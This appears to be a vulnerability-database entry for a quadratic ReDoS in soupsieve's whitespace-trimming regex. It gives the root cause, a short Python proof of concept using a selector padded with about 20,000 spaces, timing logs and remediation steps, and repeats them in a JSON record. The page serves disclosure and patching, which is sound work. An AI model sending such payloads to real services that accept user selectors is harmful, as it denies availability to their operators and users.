BREW-AWS-GOOGLE-AUTH-CVE… (GHSA-J934-XHV5-FG8F)
Vulnerability from osv_homebrew – Published: 2026-09-18 15:00 – Updated: 2026-11-14 09:42 – Source websiteSummary
Before tokenizing, selector_iter trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with .search(). The trailing one, RE_WS_END = re.compile(r'{WSC}*$'), is anchored only at the end ($), not the start. Because .search() retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail $, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, a + " "*n + b — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.
Trust model (Q0)
The selector string is the input, reaching this code via soupsieve.compile(), the soupsieve.select/iselect/match/filter helpers, and BeautifulSoup's soup.select(selector) / soup.select_one(selector). Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.
Root cause (exact anchors) — src/soupsieve/css_parser.py
# line 185-186
RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe)
RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset
# selector_iter, lines ~1322-1326
m = RE_WS_BEGIN.search(pattern)
index = m.end(0) if m else 0
m = RE_WS_END.search(pattern) # <-- O(n^2) here
end = (m.start(0) - 1) if m else (len(pattern) - 1)
WSC = (?:{WS}|{COMMENTS}). For RE_WS_END = (?:WS|COMMENTS)*$, .search() walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, (?:WS|COMMENTS)* greedily consumes to the run's end, then $ fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). RE_WS_BEGIN avoids this because ^ pins it to a single start offset.
The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored .search() of a *$ pattern is the defect.
Reproduction environment (discipline #12 — published artifact)
- git HEAD
751c57b(2.9,PYTHONPATH=src):cd src && python3 ../poc/poc_redos_ws_trim.py. - Published PyPI
soupsieve 2.8.4(freshuv pip install soupsieve beautifulsoup4):cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py→ same O(n²) (evidence:poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log). - Python 3.11.15 and 3.14.6 both reproduce.
PoC (poc/poc_redos_ws_trim.py)
import sys, time
sys.path.insert(0, ".")
import soupsieve as sv
def ct(sel):
t0 = time.perf_counter()
try:
sv.compile(sel); st = "ok"
except Exception as e:
st = type(e).__name__
return time.perf_counter() - t0, st
print(f"soupsieve {sv.__version__}\n")
print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):")
for n in (2000, 4000, 8000, 16000):
dt, st = ct("a" + " " * n + "b")
print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]")
payload = "a" + " " * 20000 + "b"
dt, st = ct(payload)
print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})")
print(f"[+] wall time = {dt:.2f} s [{st}]")
Isolated confirmation that the cost is in RE_WS_END.search specifically (poc/isolate_ws_trim.py): RE_WS_END on "div"+" "*n+">" is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored RE_WS_BEGIN on " "*n+"x" stays linear (32000→1.5 ms). Profiling compile shows the entire wall time in 2 re.Pattern.search calls, not .match.
Evidence — HEAD 2.9 (verbatim poc/evidence_redos_ws_trim.log)
soupsieve 2.9
VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):
n=2000 len=2002 112.3 ms [ok]
n=4000 len=4002 411.5 ms [ok]
n=8000 len=8002 1602.9 ms [ok]
n=16000 len=16002 6464.1 ms [ok]
VALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run):
n=1000 len=5002 48.9 ms [SelectorSyntaxError]
n=2000 len=10002 194.8 ms [SelectorSyntaxError]
n=4000 len=20002 780.2 ms [SelectorSyntaxError]
n=8000 len=40002 3145.3 ms [SelectorSyntaxError]
[+] Single call: compile('a' + ' '*20000 + 'b') (len=20002)
[+] wall time = 10.23 s [ok]
Evidence — published 2.8.4 (verbatim poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log)
soupsieve 2.8.4
VALID selector 'a' + ' '*n + 'b':
n=2000 len=2002 102.7 ms [ok]
n=4000 len=4002 404.3 ms [ok]
n=8000 len=8002 1618.2 ms [ok]
n=16000 len=16002 6457.9 ms [ok]
[+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok]
Impact — calibrated
- Confirmed: quadratic CPU per
compile()/select()call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB → ~1.6 s; ~20 KB → ~10 s; scaling ~×4 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path. - Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.
- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.
Distinction from the IDENTIFIER/VALUE ReDoS
This is a separate root cause and a separate fix: the cost here is entirely in the RE_WS_END = {WSC}*$ trim step run with .search() before tokenizing (measured in re.Pattern.search), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token .match(). They can be fixed independently.
Remediation
- Anchor or de-loop the trailing-trim step: instead of
.search()of{WSC}*$, scan trailing whitespace/comments from the end directly (e.g. reverse scan, orre.compile(r'^{WSC}*').matchon a reversed-equivalent), so no per-offset retry occurs. - Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass
*$search. - Defense-in-depth: cap selector length before compiling.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "soupsieve",
"resource_purl": "pkg:pypi/soupsieve@4.1",
"upstream_fixed_in": "2.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "aws-google-auth",
"purl": "pkg:brew/aws-google-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.31"
},
{
"fixed": "0.0.38_24"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/soupsieve@4.1",
"name": "soupsieve",
"resource": "soupsieve",
"strategy": "registry",
"subject_version": "4.1"
}
]
},
"details": "## Summary\n\nBefore tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r\u0027{WSC}*$\u0027)`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n\u00b2) time. This triggers on perfectly valid selectors \u2014 e.g. a descendant combinator with a long whitespace gap, `a` + `\" \"*n` + `b` \u2014 so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU.\n\n## Trust model (Q0)\n\nThe selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup\u0027s `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected.\n\n## Root cause (exact anchors) \u2014 `src/soupsieve/css_parser.py`\n\n```python\n# line 185-186\nRE_WS_BEGIN = re.compile(fr\u0027^{WSC}*\u0027) # anchored at start -\u003e .search() only tries pos 0 -\u003e linear (safe)\nRE_WS_END = re.compile(fr\u0027{WSC}*$\u0027) # NOT anchored at start -\u003e .search() tries every offset\n\n# selector_iter, lines ~1322-1326\nm = RE_WS_BEGIN.search(pattern)\nindex = m.end(0) if m else 0\nm = RE_WS_END.search(pattern) # \u003c-- O(n^2) here\nend = (m.start(0) - 1) if m else (len(pattern) - 1)\n```\n\n`WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run\u0027s end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats \u2014 O(n) offsets \u00d7 O(n) per attempt = O(n\u00b2). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset.\n\nThe intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect.\n\n## Reproduction environment (discipline #12 \u2014 published artifact)\n\n- git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src \u0026\u0026 python3 ../poc/poc_redos_ws_trim.py`.\n- Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc \u0026\u0026 ../.venv-published/bin/python poc_redos_ws_trim.py` \u2192 same O(n\u00b2) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`).\n- Python 3.11.15 and 3.14.6 both reproduce.\n\n## PoC (`poc/poc_redos_ws_trim.py`)\n\n```python\nimport sys, time\nsys.path.insert(0, \".\")\nimport soupsieve as sv\n\ndef ct(sel):\n t0 = time.perf_counter()\n try:\n sv.compile(sel); st = \"ok\"\n except Exception as e:\n st = type(e).__name__\n return time.perf_counter() - t0, st\n\nprint(f\"soupsieve {sv.__version__}\\n\")\n\nprint(\"VALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027 (descendant combinator, lots of whitespace):\")\nfor n in (2000, 4000, 8000, 16000):\n dt, st = ct(\"a\" + \" \" * n + \"b\")\n print(f\" n={n:\u003c6} len={n+2:\u003c7} {dt*1000:9.1f} ms [{st}]\")\n\npayload = \"a\" + \" \" * 20000 + \"b\"\ndt, st = ct(payload)\nprint(f\"\\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027) (len={len(payload)})\")\nprint(f\"[+] wall time = {dt:.2f} s [{st}]\")\n```\n\nIsolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `\"div\"+\" \"*n+\"\u003e\"` is O(n\u00b2) (2000\u2192100 ms, 4000\u2192448 ms, 8000\u21921622 ms, 16000\u21926719 ms), while the start-anchored `RE_WS_BEGIN` on `\" \"*n+\"x\"` stays linear (32000\u21921.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`.\n\n## Evidence \u2014 HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`)\n\n```\nsoupsieve 2.9\n\nVALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027 (descendant combinator, lots of whitespace):\n n=2000 len=2002 112.3 ms [ok]\n n=4000 len=4002 411.5 ms [ok]\n n=8000 len=8002 1602.9 ms [ok]\n n=16000 len=16002 6464.1 ms [ok]\n\nVALID-looking \u0027a\u0027 + \u0027/*x*/\u0027*n + \u0027b\u0027 (CSS comment run):\n n=1000 len=5002 48.9 ms [SelectorSyntaxError]\n n=2000 len=10002 194.8 ms [SelectorSyntaxError]\n n=4000 len=20002 780.2 ms [SelectorSyntaxError]\n n=8000 len=40002 3145.3 ms [SelectorSyntaxError]\n\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027) (len=20002)\n[+] wall time = 10.23 s [ok]\n```\n\n## Evidence \u2014 published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`)\n\n```\nsoupsieve 2.8.4\n\nVALID selector \u0027a\u0027 + \u0027 \u0027*n + \u0027b\u0027:\n n=2000 len=2002 102.7 ms [ok]\n n=4000 len=4002 404.3 ms [ok]\n n=8000 len=8002 1618.2 ms [ok]\n n=16000 len=16002 6457.9 ms [ok]\n[+] Single call: compile(\u0027a\u0027 + \u0027 \u0027*20000 + \u0027b\u0027) wall time = 10.11 s [ok]\n```\n\n## Impact \u2014 calibrated\n\n- Confirmed: quadratic CPU per `compile()`/`select()` call on an attacker-controlled selector, triggered by a long internal whitespace or CSS-comment run. ~8 KB \u2192 ~1.6 s; ~20 KB \u2192 ~10 s; scaling ~\u00d74 per input doubling. Notably fires on WELL-FORMED selectors, so it does not depend on a parser error path.\n- Realistic exposure: services that accept user-supplied CSS selectors and feed them to BeautifulSoup/soupsieve.\n- NOT claimed: exponential blowup, memory corruption, or code execution. Availability (DoS) only, and only where selectors are attacker-influenced.\n\n## Distinction from the IDENTIFIER/VALUE ReDoS\n\nThis is a separate root cause and a separate fix: the cost here is entirely in the `RE_WS_END = {WSC}*$` trim step run with `.search()` before tokenizing (measured in `re.Pattern.search`), whereas the IDENTIFIER/VALUE issue is adjacent-quantifier backtracking during token `.match()`. They can be fixed independently.\n\n## Remediation\n\n- Anchor or de-loop the trailing-trim step: instead of `.search()` of `{WSC}*$`, scan trailing whitespace/comments from the end directly (e.g. reverse scan, or `re.compile(r\u0027^{WSC}*\u0027).match` on a reversed-equivalent), so no per-offset retry occurs.\n- Alternatively strip whitespace/comments in a single forward tokenizing pass rather than with a pre-pass `*$` search.\n- Defense-in-depth: cap selector length before compiling.",
"id": "BREW-aws-google-auth-CVE-2026-85999",
"modified": "2026-11-14T09:42:47Z",
"published": "2026-09-18T15:00:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-j934-xhv5-fg8f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85999"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/commit/cf198fcddc9230f06ed39f974eba0ce076b85cda"
},
{
"type": "PACKAGE",
"url": "https://github.com/facelessuser/soupsieve"
},
{
"type": "WEB",
"url": "https://github.com/facelessuser/soupsieve/releases/tag/2.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Soup Sieve: Polynomial-time ReDoS (O(n\u00b2)) in the whitespace/comment trimming regex `RE_WS_END` (triggers on VALID selectors)",
"upstream": [
"GHSA-j934-xhv5-fg8f",
"CVE-2026-85999",
"PYSEC-2026-4171"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.